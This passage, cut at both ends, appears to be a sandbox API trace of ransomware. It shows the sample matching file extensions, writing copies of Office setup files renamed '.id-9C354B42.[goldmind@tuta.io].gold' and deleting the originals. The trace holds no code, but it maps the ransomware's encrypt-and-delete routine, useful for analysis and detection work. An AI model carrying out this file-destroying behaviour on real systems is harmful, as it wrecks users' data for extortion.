returned 4 [0037.374] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0037.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0037.374] lstrlenW (lpString=".doc") returned 4 [0037.374] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.374] lstrlenW (lpString=".docx") returned 5 [0037.374] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0037.374] lstrlenW (lpString=".pdf") returned 4 [0037.374] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.374] lstrlenW (lpString=".xls") returned 4 [0037.374] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.374] lstrlenW (lpString=".xlsx") returned 5 [0037.374] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0037.374] lstrlenW (lpString=".ppt") returned 4 [0037.374] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0037.374] lstrlenW (lpString=".zip") returned 4 [0037.374] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.375] lstrlenW (lpString=".rar") returned 4 [0037.375] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.375] lstrlenW (lpString=".bz2") returned 4 [0037.375] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.375] lstrlenW (lpString=".7z") returned 3 [0037.375] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0037.375] lstrlenW (lpString=".dbf") returned 4 [0037.375] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0037.375] lstrlenW (lpString=".1cd") returned 4 [0037.375] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.375] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0037.375] lstrlenW (lpString=".jpg") returned 4 [0037.375] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.375] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0037.375] lstrlenW (lpString="OfficeMUI.XML") returned 13 [0037.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0037.379] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=5557) returned 1 [0037.379] CloseHandle (hObject=0x1e4) returned 1 [0037.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0037.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0037.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0037.380] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.380] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0037.380] GetLastError () returned 0x0 [0037.380] ReadFile (in: hFile=0x1e4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x15b5, lpOverlapped=0x0) returned 1 [0037.385] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0037.386] ReadFile (in: hFile=0x1e4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.386] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xee, lpOverlapped=0x0) returned 1 [0037.386] SetEndOfFile (hFile=0x1e8) returned 1 [0037.387] CloseHandle (hObject=0x1e8) returned 1 [0037.387] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.387] SetEndOfFile (hFile=0x1e4) returned 1 [0037.388] CloseHandle (hObject=0x1e4) returned 1 [0037.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0037.388] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 1 [0037.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0037.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0037.388] lstrlenW (lpString=".doc") returned 4 [0037.388] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.388] lstrlenW (lpString=".docx") returned 5 [0037.388] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0037.389] lstrlenW (lpString=".pdf") returned 4 [0037.389] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.389] lstrlenW (lpString=".xls") returned 4 [0037.389] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.389] lstrlenW (lpString=".xlsx") returned 5 [0037.389] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0037.389] lstrlenW (lpString=".ppt") returned 4 [0037.389] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0037.389] lstrlenW (lpString=".zip") returned 4 [0037.389] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.389] lstrlenW (lpString=".rar") returned 4 [0037.389] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.389] lstrlenW (lpString=".bz2") returned 4 [0037.389] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.389] lstrlenW (lpString=".7z") returned 3 [0037.389] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0037.389] lstrlenW (lpString=".dbf") returned 4 [0037.389] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0037.389] lstrlenW (lpString=".1cd") returned 4 [0037.389] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0037.389] lstrlenW (lpString=".jpg") returned 4 [0037.389] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0037.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0037.389] lstrlenW (lpString=".doc") returned 4 [0037.389] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.389] lstrlenW (lpString=".docx") returned 5 [0037.389] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0037.389] lstrlenW (lpString=".pdf") returned 4 [0037.389] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.389] lstrlenW (lpString=".xls") returned 4 [0037.389] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.389] lstrlenW (lpString=".xlsx") returned 5 [0037.389] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0037.389] lstrlenW (lpString=".ppt") returned 4 [0037.389] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0037.389] lstrlenW (lpString=".zip") returned 4 [0037.389] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.389] lstrlenW (lpString=".rar") returned 4 [0037.389] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.389] lstrlenW (lpString=".bz2") returned 4 [0037.389] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.389] lstrlenW (lpString=".7z") returned 3 [0037.389] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0037.389] lstrlenW (lpString=".dbf") returned 4 [0037.389] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0037.390] lstrlenW (lpString=".1cd") returned 4 [0037.390] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0037.390] lstrlenW (lpString=".jpg") returned 4 [0037.390] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.390] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0037.390] lstrlenW (lpString="OfficeMUISet.XML") returned 16 [0037.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0037.390] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=819) returned 1 [0037.390] CloseHandle (hObject=0x1e4) returned 1 [0037.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0037.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0037.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0037.390] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.390] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0037.391] GetLastError () returned 0x0 [0037.391] ReadFile (in: hFile=0x1e4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x333, lpOverlapped=0x0) returned 1 [0037.400] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x340, lpOverlapped=0x0) returned 1 [0037.401] ReadFile (in: hFile=0x1e4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.401] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0037.401] SetEndOfFile (hFile=0x1e8) returned 1 [0037.401] CloseHandle (hObject=0x1e8) returned 1 [0037.402] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.402] SetEndOfFile (hFile=0x1e4) returned 1 [0037.403] CloseHandle (hObject=0x1e4) returned 1 [0037.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0037.403] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 1 [0037.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0037.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0037.403] lstrlenW (lpString=".doc") returned 4 [0037.403] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.403] lstrlenW (lpString=".docx") returned 5 [0037.403] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0037.403] lstrlenW (lpString=".pdf") returned 4 [0037.403] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.403] lstrlenW (lpString=".xls") returned 4 [0037.403] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.403] lstrlenW (lpString=".xlsx") returned 5 [0037.403] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0037.403] lstrlenW (lpString=".ppt") returned 4 [0037.403] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.403] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0037.403] lstrlenW (lpString=".zip") returned 4 [0037.403] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.403] lstrlenW (lpString=".rar") returned 4 [0037.403] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.403] lstrlenW (lpString=".bz2") returned 4 [0037.403] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.404] lstrlenW (lpString=".7z") returned 3 [0037.404] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0037.404] lstrlenW (lpString=".dbf") returned 4 [0037.404] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0037.404] lstrlenW (lpString=".1cd") returned 4 [0037.404] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0037.404] lstrlenW (lpString=".jpg") returned 4 [0037.404] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0037.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0037.404] lstrlenW (lpString=".doc") returned 4 [0037.404] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0037.404] lstrlenW (lpString=".docx") returned 5 [0037.404] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0037.404] lstrlenW (lpString=".pdf") returned 4 [0037.404] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0037.404] lstrlenW (lpString=".xls") returned 4 [0037.404] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0037.404] lstrlenW (lpString=".xlsx") returned 5 [0037.404] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0037.404] lstrlenW (lpString=".ppt") returned 4 [0037.404] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0037.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0037.404] lstrlenW (lpString=".zip") returned 4 [0037.404] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0037.404] lstrlenW (lpString=".rar") returned 4 [0037.404] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0037.404] lstrlenW (lpString=".bz2") returned 4 [0037.404] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0037.404] lstrlenW (lpString=".7z") returned 3 [0037.404] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0037.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0037.404] lstrlenW (lpString=".dbf") returned 4 [0037.404] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0037.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0037.404] lstrlenW (lpString=".1cd") returned 4 [0037.404] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0037.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0037.404] lstrlenW (lpString=".jpg") returned 4 [0037.404] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0037.404] lstrcmpiW (lpString1=".CHM", lpString2=".gold") returned -1 [0037.404] lstrlenW (lpString="PSCONFIG.CHM") returned 12 [0037.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0037.405] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=37689) returned 1 [0037.405] CloseHandle (hObject=0x1e4) returned 1 [0037.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0037.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0037.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0037.405] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.405] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.406] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0037.406] GetLastError () returned 0x0 [0037.406] ReadFile (in: hFile=0x1e4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x9339, lpOverlapped=0x0) returned 1 [0037.408] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x9340, lpOverlapped=0x0) returned 1 [0037.409] ReadFile (in: hFile=0x1e4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.409] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0037.409] SetEndOfFile (hFile=0x1e8) returned 1 [0037.409] CloseHandle (hObject=0x1e8) returned 1 [0037.410] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.410] SetEndOfFile (hFile=0x1e4) returned 1 [0037.411] CloseHandle (hObject=0x1e4) returned 1 [0037.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0037.411] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 1 [0037.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0037.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0037.411] lstrlenW (lpString=".doc") returned 4 [0037.411] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0037.411] lstrlenW (lpString=".docx") returned 5 [0037.411] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0037.411] lstrlenW (lpString=".pdf") returned 4 [0037.411] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0037.411] lstrlenW (lpString=".xls") returned 4 [0037.411] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0037.411] lstrlenW (lpString=".xlsx") returned 5 [0037.412] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0037.412] lstrlenW (lpString=".ppt") returned 4 [0037.412] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0037.412] 